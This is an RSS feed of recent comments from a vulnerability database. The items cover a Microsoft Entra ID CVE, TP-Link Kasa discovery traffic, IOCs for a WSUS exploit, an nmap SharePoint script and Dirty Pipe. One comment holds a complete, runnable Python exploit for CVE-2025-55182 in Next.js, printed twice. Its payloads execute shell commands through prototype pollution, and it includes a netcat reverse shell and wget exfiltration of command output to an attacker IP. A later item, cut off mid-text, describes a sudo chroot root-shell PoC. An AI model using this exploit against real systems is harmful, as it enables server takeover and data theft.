<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent activity.</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains the recent activity for cedric.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 22 Nov 2026 14:21:23 +0000</lastBuildDate>
    <item>
      <title>A contradictory timeline</title>
      <link>https://vulnerability.circl.lu/comment/8bf59235-354e-431b-b6a8-cd53da06cc8c</link>
      <description>August 21, 2026. CVSS 10.0. Deserialization. Microsoft patched a remote code execution vulnerability in Entra ID, its cloud identity service — and told customers to do nothing. The flaw, CVE-2026-69836, is rated CVSS 10.0, the maximum score, and stems from the deserialization of untrusted data that let an unauthenticated attacker execute code over the network.

The line to remember is not technical. It sits in Microsoft’s advisory: “This vulnerability has already been fully mitigated by Microsoft. There is no action for users of this service to take. The purpose of this CVE is to provide further transparency.” An invisible patch, for a flaw nobody can verify.

**The flaw at the heart of identity**

Entra ID — formerly Azure Active Directory — is the service that authenticates logins and controls access to Microsoft 365, Azure, and thousands of connected third-party apps. It is the central identity component at the vast majority of enterprises.

Deserialization of untrusted data means the application turns serialized, attacker-controlled input back into live objects or code structures, without sufficient validation. Here the consequence is the gravest possible: an unauthenticated attacker can execute code inside the identity service itself.

The flaw was discovered by Robert Fitzpatrick, a Microsoft principal security engineer. The vector is remote, account-free, and interaction-free — the triplet that justifies the 10.0.


**A contradictory timeline**

The public record is murkier than the advisory suggests. Help Net Security first reported the flaw as “exploited in the wild”, before Microsoft corrected an “Exploited” flag attached to the CVE. The result: the vulnerability is not in CISA’s KEV, the reference list of actively exploited flaws.

That back-and-forth matters. A withdrawn “exploited” flag, an absence from the KEV, and a patch “already applied” server-side leave a CISO with no independent way to know whether exploitation actually happened, or for how long.

Microsoft has not disclosed who was behind any exploitation, when it began, how many organizations were affected, or what attackers did once inside the service. The “further transparency” stops at the statement itself.


**The opacity of the cloud patch**

This is the core point. A server-side patch on a multi-tenant service you do not deploy is, by nature, invisible: no binary to download, no version to check, no reboot to schedule. You cannot confirm the fix is in place other than by trusting the vendor.

That opacity inverts the balance of traditional security. On an on-premise product, you control the patch; on a cloud service, you control only your signals — sign-in logs, audits, permission changes. Your defense perimeter shifts from patching to detection.

It is also a lesson in shared responsibility. Microsoft patches the service; you patch what the service cannot patch for you: accounts, roles, conditional access, and monitoring.</description>
      <content:encoded>August 21, 2026. CVSS 10.0. Deserialization. Microsoft patched a remote code execution vulnerability in Entra ID, its cloud identity service — and told customers to do nothing. The flaw, CVE-2026-69836, is rated CVSS 10.0, the maximum score, and stems from the deserialization of untrusted data that let an unauthenticated attacker execute code over the network.

The line to remember is not technical. It sits in Microsoft’s advisory: “This vulnerability has already been fully mitigated by Microsoft. There is no action for users of this service to take. The purpose of this CVE is to provide further transparency.” An invisible patch, for a flaw nobody can verify.

**The flaw at the heart of identity**

Entra ID — formerly Azure Active Directory — is the service that authenticates logins and controls access to Microsoft 365, Azure, and thousands of connected third-party apps. It is the central identity component at the vast majority of enterprises.

Deserialization of untrusted data means the application turns serialized, attacker-controlled input back into live objects or code structures, without sufficient validation. Here the consequence is the gravest possible: an unauthenticated attacker can execute code inside the identity service itself.

The flaw was discovered by Robert Fitzpatrick, a Microsoft principal security engineer. The vector is remote, account-free, and interaction-free — the triplet that justifies the 10.0.


**A contradictory timeline**

The public record is murkier than the advisory suggests. Help Net Security first reported the flaw as “exploited in the wild”, before Microsoft corrected an “Exploited” flag attached to the CVE. The result: the vulnerability is not in CISA’s KEV, the reference list of actively exploited flaws.

That back-and-forth matters. A withdrawn “exploited” flag, an absence from the KEV, and a patch “already applied” server-side leave a CISO with no independent way to know whether exploitation actually happened, or for how long.

Microsoft has not disclosed who was behind any exploitation, when it began, how many organizations were affected, or what attackers did once inside the service. The “further transparency” stops at the statement itself.


**The opacity of the cloud patch**

This is the core point. A server-side patch on a multi-tenant service you do not deploy is, by nature, invisible: no binary to download, no version to check, no reboot to schedule. You cannot confirm the fix is in place other than by trusting the vendor.

That opacity inverts the balance of traditional security. On an on-premise product, you control the patch; on a cloud service, you control only your signals — sign-in logs, audits, permission changes. Your defense perimeter shifts from patching to detection.

It is also a lesson in shared responsibility. Microsoft patches the service; you patch what the service cannot patch for you: accounts, roles, conditional access, and monitoring.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/8bf59235-354e-431b-b6a8-cd53da06cc8c</guid>
      <pubDate>Wed, 09 Sep 2026 19:39:32 +0000</pubDate>
    </item>
    <item>
      <title>LG TV discovery traffic and CVE-2026-13230 — a possible interaction with CVE-2026-9770?</title>
      <link>https://vulnerability.circl.lu/comment/3f4a59e6-61ef-4b4c-bb57-07f721f9db14</link>
      <description>There is an interesting connection between this vulnerability and CVE-2026-13230, which affects the same TP-Link Kasa EC70/EC71 devices.

Recent research indicates that LG TVs send UDP/9999 discovery broadcasts approximately every 25 seconds. UDP/9999 is also used by the Kasa local discovery mechanism affected by CVE-2026-13230, which can disclose precise GPS coordinates without authentication.

This suggests that, on a local network containing both an LG TV and an unpatched Kasa EC70/EC71, the TV's periodic discovery traffic may trigger the vulnerable Kasa discovery response and expose the camera's stored geolocation information.

The two issues are distinct: CVE-2026-9770 concerns a hardcoded cryptographic private key, while CVE-2026-13230 concerns sensitive information disclosure through the local discovery mechanism. However, the shared UDP/9999 discovery traffic is worth investigating as a potential interaction between the two vulnerabilities.

Reference: [https://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/TP-Link_Kasa_EC71/Kasa_EC71.md](https://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/TP-Link_Kasa_EC71/Kasa_EC71.md)</description>
      <content:encoded>There is an interesting connection between this vulnerability and CVE-2026-13230, which affects the same TP-Link Kasa EC70/EC71 devices.

Recent research indicates that LG TVs send UDP/9999 discovery broadcasts approximately every 25 seconds. UDP/9999 is also used by the Kasa local discovery mechanism affected by CVE-2026-13230, which can disclose precise GPS coordinates without authentication.

This suggests that, on a local network containing both an LG TV and an unpatched Kasa EC70/EC71, the TV's periodic discovery traffic may trigger the vulnerable Kasa discovery response and expose the camera's stored geolocation information.

The two issues are distinct: CVE-2026-9770 concerns a hardcoded cryptographic private key, while CVE-2026-13230 concerns sensitive information disclosure through the local discovery mechanism. However, the shared UDP/9999 discovery traffic is worth investigating as a potential interaction between the two vulnerabilities.

Reference: [https://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/TP-Link_Kasa_EC71/Kasa_EC71.md](https://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/TP-Link_Kasa_EC71/Kasa_EC71.md)</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/3f4a59e6-61ef-4b4c-bb57-07f721f9db14</guid>
      <pubDate>Tue, 08 Sep 2026 21:30:10 +0000</pubDate>
    </item>
    <item>
      <title>telnetd: Enable autologin in legacy mode.</title>
      <link>https://vulnerability.circl.lu/comment/8c180128-c0f9-4785-a377-5a7b5da1879c</link>
      <description>telnetd: Enable autologin in legacy mode.

Without authentication, autologin was broken.  Bug reported
by Kuaikuai Wu to the list in `2014-12/msg00010.html'.</description>
      <content:encoded>telnetd: Enable autologin in legacy mode.

Without authentication, autologin was broken.  Bug reported
by Kuaikuai Wu to the list in `2014-12/msg00010.html'.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/8c180128-c0f9-4785-a377-5a7b5da1879c</guid>
      <pubDate>Tue, 20 Jan 2026 21:15:31 +0000</pubDate>
    </item>
    <item>
      <title>CVE-2025-55182 - React Server Components RCE Exploit</title>
      <link>https://vulnerability.circl.lu/comment/2e5fbe69-3e25-46fd-b861-dd01b344fbaa</link>
      <description>```python
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Full Remote Code Execution against Next.js applications

⚠️  FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)

The vulnerability exploits prototype pollution in the Flight protocol
deserialization to achieve arbitrary code execution.

Credit: 
- Wiz for vuln discovery
- @maple3142 for first working poc
- @dez_ for this vibe poc

"""

import requests
import argparse
import sys
import time


class CVE2025_55182_RCE:
    """Full RCE exploit for CVE-2025-55182"""
    
    def __init__(self, target_url: str, timeout: int = 15):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
    
    def build_payload(self, command: str) -&amp;gt; dict:
        """
        Build the RCE payload that exploits prototype pollution.
        
        The payload creates a fake React chunk object that:
        1. Pollutes Object.prototype.then via "$1:__proto__:then"
        2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
        3. Injects code via _prefix that gets passed to Function()
        """
        # Escape single quotes in command
        escaped_cmd = command.replace("'", "'\"'\"'")
        
        # The malicious fake chunk structure
        payload_0 = (
            '{"then":"$1:__proto__:then",'
            '"status":"resolved_model",'
            '"reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}",'
            '"_response":{'
            '"_prefix":"process.mainModule.require(\'child_process\').execSync(\'' + escaped_cmd + '\');",'
            '"_chunks":"$Q2",'
            '"_formData":{"get":"$1:constructor:constructor"}'
            '}}'
        )
        
        return {
            '0': (None, payload_0),
            '1': (None, '"$@0"'),  # Reference to chunk 0
            '2': (None, '[]'),      # Empty array for chunks
        }
    
    def execute(self, command: str) -&amp;gt; dict:
        """
        Execute arbitrary command on the target server.
        
        Args:
            command: Shell command to execute
            
        Returns:
            dict with success status and any output
        """
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Command: {command}")
        
        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',  # Invalid action ID triggers vulnerable path
            'User-Agent': 'CVE-2025-55182-Exploit/1.0',
        }
        
        files = self.build_payload(command)
        
        result = {
            'success': False,
            'command': command,
            'target': self.target_url,
        }
        
        try:
            print(f"[*] Sending exploit payload...")
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=self.timeout
            )
            result['status_code'] = resp.status_code
            result['response'] = resp.text[:500]
            
            # A 500 response often indicates the exploit worked
            # (the command runs but the response fails to serialize)
            if resp.status_code == 500:
                print(f"[+] Exploit sent successfully (status 500)")
                result['success'] = True
            else:
                print(f"[?] Unexpected status: {resp.status_code}")
                
        except requests.exceptions.Timeout:
            # Timeout is expected - the server hangs processing the payload
            print(f"[+] Request timed out (expected during RCE)")
            result['success'] = True
            result['timeout'] = True
            
        except Exception as e:
            print(f"[-] Error: {e}")
            result['error'] = str(e)
        
        return result
    
    def check_vulnerability(self) -&amp;gt; bool:
        """Quick check if target is vulnerable"""
        print(f"[*] Checking if {self.target_url} is vulnerable...")
        
        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',
        }
        
        # Simple detection payload
        files = {
            '0': (None, '["$1:a:a"]'),
            '1': (None, '{}'),
        }
        
        try:
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=10
            )
            
            if resp.status_code == 500 and 'E{"digest"' in resp.text:
                print(f"[+] Target appears VULNERABLE!")
                return True
            else:
                print(f"[-] Target may not be vulnerable (status {resp.status_code})")
                return False
                
        except Exception as e:
            print(f"[-] Check failed: {e}")
            return False
    
    def reverse_shell(self, attacker_ip: str, attacker_port: int) -&amp;gt; dict:
        """
        Attempt to establish a reverse shell.
        
        Args:
            attacker_ip: IP address to connect back to
            attacker_port: Port to connect back to
        """
        # mkfifo reverse shell - works on Alpine/busybox containers
        revshell = (
            f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc {attacker_ip} {attacker_port} &amp;gt;/tmp/f"
        )
        
        print(f"\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")
        
        return self.execute(revshell)
    
    def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -&amp;gt; dict:
        """
        Execute command and send output to attacker via HTTP POST.
        
        Args:
            command: Command to execute
            attacker_ip: IP address to send output to
            attacker_port: Port to send output to
            
        Start a listener with: nc -lvnp PORT
        Output will arrive as HTTP POST body.
        """
        # Using wget to POST command output back
        exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2&amp;gt;/dev/null'
        
        print(f"\n[!] Executing: {command}")
        print(f"[!] Output will POST to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")
        
        return self.execute(exfil_cmd)


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-55182 React Server Components RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Check if vulnerable
  python3 exploit_rce.py http://target:3000 --check
  
  # Execute command (blind)
  python3 exploit_rce.py http://target:3000 -c "id"
  
  # Execute command with output exfiltration
  python3 exploit_rce.py http://target:3000 --exfil "id" 10.0.0.1 4444
  
  # Reverse shell (uses mkfifo + nc, works on Alpine)
  python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444
'''
    )
    
    parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)')
    parser.add_argument('-c', '--command', help='Command to execute (blind)')
    parser.add_argument('--check', action='store_true', help='Check if vulnerable')
    parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), 
                       help='Reverse shell to IP:PORT')
    parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
                       help='Execute CMD and POST output to IP:PORT')
    parser.add_argument('-t', '--timeout', type=int, default=15, 
                       help='Request timeout (default: 15)')
    
    args = parser.parse_args()
    
    if not any([args.check, args.command, args.revshell, args.exfil]):
        parser.print_help()
        print("\n[!] Specify --check, --command, --revshell, or --exfil")
        return 1
    
    exploit = CVE2025_55182_RCE(args.target, args.timeout)
    
    print("=" * 60)
    print("CVE-2025-55182 - React Server Components RCE")
    print("=" * 60)
    
    if args.check:
        return 0 if exploit.check_vulnerability() else 1
    
    if args.command:
        result = exploit.execute(args.command)
        return 0 if result.get('success') else 1
    
    if args.revshell:
        ip, port = args.revshell
        result = exploit.reverse_shell(ip, int(port))
        return 0 if result.get('success') else 1
    
    if args.exfil:
        cmd, ip, port = args.exfil
        result = exploit.exfiltrate(cmd, ip, int(port))
        return 0 if result.get('success') else 1
    
    return 0


if __name__ == '__main__':
    sys.exit(main())
```</description>
      <content:encoded>```python
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Full Remote Code Execution against Next.js applications

⚠️  FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)

The vulnerability exploits prototype pollution in the Flight protocol
deserialization to achieve arbitrary code execution.

Credit: 
- Wiz for vuln discovery
- @maple3142 for first working poc
- @dez_ for this vibe poc

"""

import requests
import argparse
import sys
import time


class CVE2025_55182_RCE:
    """Full RCE exploit for CVE-2025-55182"""
    
    def __init__(self, target_url: str, timeout: int = 15):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
    
    def build_payload(self, command: str) -&amp;gt; dict:
        """
        Build the RCE payload that exploits prototype pollution.
        
        The payload creates a fake React chunk object that:
        1. Pollutes Object.prototype.then via "$1:__proto__:then"
        2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
        3. Injects code via _prefix that gets passed to Function()
        """
        # Escape single quotes in command
        escaped_cmd = command.replace("'", "'\"'\"'")
        
        # The malicious fake chunk structure
        payload_0 = (
            '{"then":"$1:__proto__:then",'
            '"status":"resolved_model",'
            '"reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}",'
            '"_response":{'
            '"_prefix":"process.mainModule.require(\'child_process\').execSync(\'' + escaped_cmd + '\');",'
            '"_chunks":"$Q2",'
            '"_formData":{"get":"$1:constructor:constructor"}'
            '}}'
        )
        
        return {
            '0': (None, payload_0),
            '1': (None, '"$@0"'),  # Reference to chunk 0
            '2': (None, '[]'),      # Empty array for chunks
        }
    
    def execute(self, command: str) -&amp;gt; dict:
        """
        Execute arbitrary command on the target server.
        
        Args:
            command: Shell command to execute
            
        Returns:
            dict with success status and any output
        """
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Command: {command}")
        
        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',  # Invalid action ID triggers vulnerable path
            'User-Agent': 'CVE-2025-55182-Exploit/1.0',
        }
        
        files = self.build_payload(command)
        
        result = {
            'success': False,
            'command': command,
            'target': self.target_url,
        }
        
        try:
            print(f"[*] Sending exploit payload...")
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=self.timeout
            )
            result['status_code'] = resp.status_code
            result['response'] = resp.text[:500]
            
            # A 500 response often indicates the exploit worked
            # (the command runs but the response fails to serialize)
            if resp.status_code == 500:
                print(f"[+] Exploit sent successfully (status 500)")
                result['success'] = True
            else:
                print(f"[?] Unexpected status: {resp.status_code}")
                
        except requests.exceptions.Timeout:
            # Timeout is expected - the server hangs processing the payload
            print(f"[+] Request timed out (expected during RCE)")
            result['success'] = True
            result['timeout'] = True
            
        except Exception as e:
            print(f"[-] Error: {e}")
            result['error'] = str(e)
        
        return result
    
    def check_vulnerability(self) -&amp;gt; bool:
        """Quick check if target is vulnerable"""
        print(f"[*] Checking if {self.target_url} is vulnerable...")
        
        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',
        }
        
        # Simple detection payload
        files = {
            '0': (None, '["$1:a:a"]'),
            '1': (None, '{}'),
        }
        
        try:
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=10
            )
            
            if resp.status_code == 500 and 'E{"digest"' in resp.text:
                print(f"[+] Target appears VULNERABLE!")
                return True
            else:
                print(f"[-] Target may not be vulnerable (status {resp.status_code})")
                return False
                
        except Exception as e:
            print(f"[-] Check failed: {e}")
            return False
    
    def reverse_shell(self, attacker_ip: str, attacker_port: int) -&amp;gt; dict:
        """
        Attempt to establish a reverse shell.
        
        Args:
            attacker_ip: IP address to connect back to
            attacker_port: Port to connect back to
        """
        # mkfifo reverse shell - works on Alpine/busybox containers
        revshell = (
            f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc {attacker_ip} {attacker_port} &amp;gt;/tmp/f"
        )
        
        print(f"\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")
        
        return self.execute(revshell)
    
    def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -&amp;gt; dict:
        """
        Execute command and send output to attacker via HTTP POST.
        
        Args:
            command: Command to execute
            attacker_ip: IP address to send output to
            attacker_port: Port to send output to
            
        Start a listener with: nc -lvnp PORT
        Output will arrive as HTTP POST body.
        """
        # Using wget to POST command output back
        exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2&amp;gt;/dev/null'
        
        print(f"\n[!] Executing: {command}")
        print(f"[!] Output will POST to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")
        
        return self.execute(exfil_cmd)


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-55182 React Server Components RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Check if vulnerable
  python3 exploit_rce.py http://target:3000 --check
  
  # Execute command (blind)
  python3 exploit_rce.py http://target:3000 -c "id"
  
  # Execute command with output exfiltration
  python3 exploit_rce.py http://target:3000 --exfil "id" 10.0.0.1 4444
  
  # Reverse shell (uses mkfifo + nc, works on Alpine)
  python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444
'''
    )
    
    parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)')
    parser.add_argument('-c', '--command', help='Command to execute (blind)')
    parser.add_argument('--check', action='store_true', help='Check if vulnerable')
    parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), 
                       help='Reverse shell to IP:PORT')
    parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
                       help='Execute CMD and POST output to IP:PORT')
    parser.add_argument('-t', '--timeout', type=int, default=15, 
                       help='Request timeout (default: 15)')
    
    args = parser.parse_args()
    
    if not any([args.check, args.command, args.revshell, args.exfil]):
        parser.print_help()
        print("\n[!] Specify --check, --command, --revshell, or --exfil")
        return 1
    
    exploit = CVE2025_55182_RCE(args.target, args.timeout)
    
    print("=" * 60)
    print("CVE-2025-55182 - React Server Components RCE")
    print("=" * 60)
    
    if args.check:
        return 0 if exploit.check_vulnerability() else 1
    
    if args.command:
        result = exploit.execute(args.command)
        return 0 if result.get('success') else 1
    
    if args.revshell:
        ip, port = args.revshell
        result = exploit.reverse_shell(ip, int(port))
        return 0 if result.get('success') else 1
    
    if args.exfil:
        cmd, ip, port = args.exfil
        result = exploit.exfiltrate(cmd, ip, int(port))
        return 0 if result.get('success') else 1
    
    return 0


if __name__ == '__main__':
    sys.exit(main())
```</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/2e5fbe69-3e25-46fd-b861-dd01b344fbaa</guid>
      <pubDate>Fri, 05 Dec 2025 08:43:03 +0000</pubDate>
    </item>
    <item>
      <title>Cases in Luxembourg</title>
      <link>https://vulnerability.circl.lu/comment/e6e66b12-a7e7-4dbb-aeba-82a2b0e391e6</link>
      <description>Some cases have been detected in Luxembourg.</description>
      <content:encoded>Some cases have been detected in Luxembourg.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/e6e66b12-a7e7-4dbb-aeba-82a2b0e391e6</guid>
      <pubDate>Wed, 03 Dec 2025 16:27:04 +0000</pubDate>
    </item>
    <item>
      <title>Indicators of Compromise (IOCs)</title>
      <link>https://vulnerability.circl.lu/comment/19771c30-1865-418d-8329-9b74748acb52</link>
      <description>Check SoftwareDistribution.log for:

* SoapUtilities.CreateException ThrowException: actor = https://host:8531/ClientWebService/client.asmx -&amp;gt; Error thrown in SoftwareDistribution.log after exploitation
* AAEAAAD/////AQAAAAAAAAAEAQAAAH9 -&amp;gt; Part of the serialized payload, found in SoftwareDistribution.log
* 207.180.254[.]242 – VPS from which the exploit was sent
* ac7351b617f85863905ba8a30e46a112a9083f4d388fd708ccfe6ed33b5cf91d – SHA256 hash of embedded MZ payload</description>
      <content:encoded>Check SoftwareDistribution.log for:

* SoapUtilities.CreateException ThrowException: actor = https://host:8531/ClientWebService/client.asmx -&amp;gt; Error thrown in SoftwareDistribution.log after exploitation
* AAEAAAD/////AQAAAAAAAAAEAQAAAH9 -&amp;gt; Part of the serialized payload, found in SoftwareDistribution.log
* 207.180.254[.]242 – VPS from which the exploit was sent
* ac7351b617f85863905ba8a30e46a112a9083f4d388fd708ccfe6ed33b5cf91d – SHA256 hash of embedded MZ payload</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/19771c30-1865-418d-8329-9b74748acb52</guid>
      <pubDate>Sun, 26 Oct 2025 07:32:48 +0000</pubDate>
    </item>
    <item>
      <title>Command injection vulnerability in FTP-Flask-python</title>
      <link>https://vulnerability.circl.lu/comment/32f6db44-bcfa-4915-b3e2-86dff21301fc</link>
      <description>Command injection vulnerability in [FTP-Flask-python](https://github.com/ajaypp123/FTP-Flask-python). The project seems no more maintained. Last update the April 28, 2017.</description>
      <content:encoded>Command injection vulnerability in [FTP-Flask-python](https://github.com/ajaypp123/FTP-Flask-python). The project seems no more maintained. Last update the April 28, 2017.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/32f6db44-bcfa-4915-b3e2-86dff21301fc</guid>
      <pubDate>Tue, 09 Sep 2025 16:35:00 +0000</pubDate>
    </item>
    <item>
      <title>nmap nse script to guess the version of SharePoint</title>
      <link>https://vulnerability.circl.lu/comment/6e5a8ab6-af04-4d85-aea9-87780f1fd8f8</link>
      <description>Nmap script to detect a Microsoft SharePoint instance version.

Usage:

```bash
$ nmap -p 443 --script ms-sharepoint-version.nse example.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-21 17:33 CEST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.030s latency).

PORT    STATE SERVICE
443/tcp open  https
| ms-sharepoint-version: 
|   16.0.10376: 
|     product: SharePoint Server 2019  SharePoint Server 2019 MUI/language patch
|     build: 16.0.10376
|_    release_date: July 2021

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
```

More information:
[https://github.com/righel/ms-sharepoint-version-nse](https://github.com/righel/ms-sharepoint-version-nse)</description>
      <content:encoded>Nmap script to detect a Microsoft SharePoint instance version.

Usage:

```bash
$ nmap -p 443 --script ms-sharepoint-version.nse example.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-21 17:33 CEST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.030s latency).

PORT    STATE SERVICE
443/tcp open  https
| ms-sharepoint-version: 
|   16.0.10376: 
|     product: SharePoint Server 2019  SharePoint Server 2019 MUI/language patch
|     build: 16.0.10376
|_    release_date: July 2021

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
```

More information:
[https://github.com/righel/ms-sharepoint-version-nse](https://github.com/righel/ms-sharepoint-version-nse)</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/6e5a8ab6-af04-4d85-aea9-87780f1fd8f8</guid>
      <pubDate>Mon, 21 Jul 2025 16:02:25 +0000</pubDate>
    </item>
    <item>
      <title>Dirty Pipe (CVE-2022-0847)</title>
      <link>https://vulnerability.circl.lu/comment/b84ba3bb-d5e2-4d78-88a6-0c4cbcbe9dbb</link>
      <description>Dirty Pipe (CVE-2022-0847) is a vulnerability in the Linux kernel which allows an attacker to overwrite files that they have read-only access to. At the time of writing, this vulnerability is 3 years old, but overwriting nearly any file without appropriate permissions using only a few system calls stood out to me. Additionally, since the exploit abuses normal kernel behavior, detecting the exploit is not an easy task.

CVE-2022-0847 affects the following Linux kernel versions, according to NIST’s NVD:

*     From 5.8 up to (but not including) 5.10.102
*     From 5.15 up to (but not including) 5.15.25
*     From 5.16 up to (but not including) 5.16.11

The vulnerability can be weaponized to escalate privileges on older Linux systems due to the arbitrary file overwrite. It abuses a flaw in functions in the Linux kernel that allowed pipes to contain stale flag values. Because of this, a pipe could be used to write to pages in the kernel page cache, which in turn could write arbitrarily to files the user does not have write permission for.</description>
      <content:encoded>Dirty Pipe (CVE-2022-0847) is a vulnerability in the Linux kernel which allows an attacker to overwrite files that they have read-only access to. At the time of writing, this vulnerability is 3 years old, but overwriting nearly any file without appropriate permissions using only a few system calls stood out to me. Additionally, since the exploit abuses normal kernel behavior, detecting the exploit is not an easy task.

CVE-2022-0847 affects the following Linux kernel versions, according to NIST’s NVD:

*     From 5.8 up to (but not including) 5.10.102
*     From 5.15 up to (but not including) 5.15.25
*     From 5.16 up to (but not including) 5.16.11

The vulnerability can be weaponized to escalate privileges on older Linux systems due to the arbitrary file overwrite. It abuses a flaw in functions in the Linux kernel that allowed pipes to contain stale flag values. Because of this, a pipe could be used to write to pages in the kernel page cache, which in turn could write arbitrarily to files the user does not have write permission for.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/b84ba3bb-d5e2-4d78-88a6-0c4cbcbe9dbb</guid>
      <pubDate>Fri, 11 Jul 2025 20:52:01 +0000</pubDate>
    </item>
    <item>
      <title>Proof Of Concept for CVE-2025-32463</title>
      <link>https://vulnerability.circl.lu/comment/0a71f125-a137-48db-a374-4ea54b4c1e4d</link>
      <description>&gt; **DISCLAIMER**
&gt;
&gt; This code is for **educational and research purposes only.** 
&gt;
&gt; Do not use it on systems you do not own or have permission to test.
&gt;
&gt; The author is **not responsible** for any misuse, damage, or legal consequences resulting from the use of this code.

# sudo chroot PrivEsc PoC (CVE-2025-32463) 

[This is an implementation](https://github.com/morgenm/sudo-chroot-CVE-2025-32463) of the sudo chroot vulnerability ([CVE-2025-32463](https://nvd.nist.gov/vuln/detail/CVE-2025-32463)) exploit I wrote in Rust based on [sudo's advisory](https://www.sudo.ws/security/advisories/chroot_bug/) and the [Stratascale advisory](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot). 
The exploit allows you to run arbitray code in the form of a shared library due to a bug in how sudo handles chroot.

When passing the chroot option to sudo, you can provide a malicious `/etc/nsswitch.conf` file within the chroot directory that tells sudo to load an arbitrary shared object. This PoC abuses this in order to grant root access to an unprivileged user. 

## Usage
### Default PrivEsc Payload
Using the provided binaries under `Releases`, simply run the following to gain `root`:

```bash
./sudo_chroot_exploit
```

This uses a shared library payload which simply spawns a root shell.

### Custom payloads
The payload code (C) is provided under `/payload`. There is also a `Makefile` provided for building the code. You can modify or replace the payload as you see fit.
To specify a different payload than the default, you can run the following command:
```bash
/sudo_chroot_exploit -i custom_payload.so
```</description>
      <content:encoded>&gt; **DISCLAIMER**
&gt;
&gt; This code is for **educational and research purposes only.** 
&gt;
&gt; Do not use it on systems you do not own or have permission to test.
&gt;
&gt; The author is **not responsible** for any misuse, damage, or legal consequences resulting from the use of this code.

# sudo chroot PrivEsc PoC (CVE-2025-32463) 

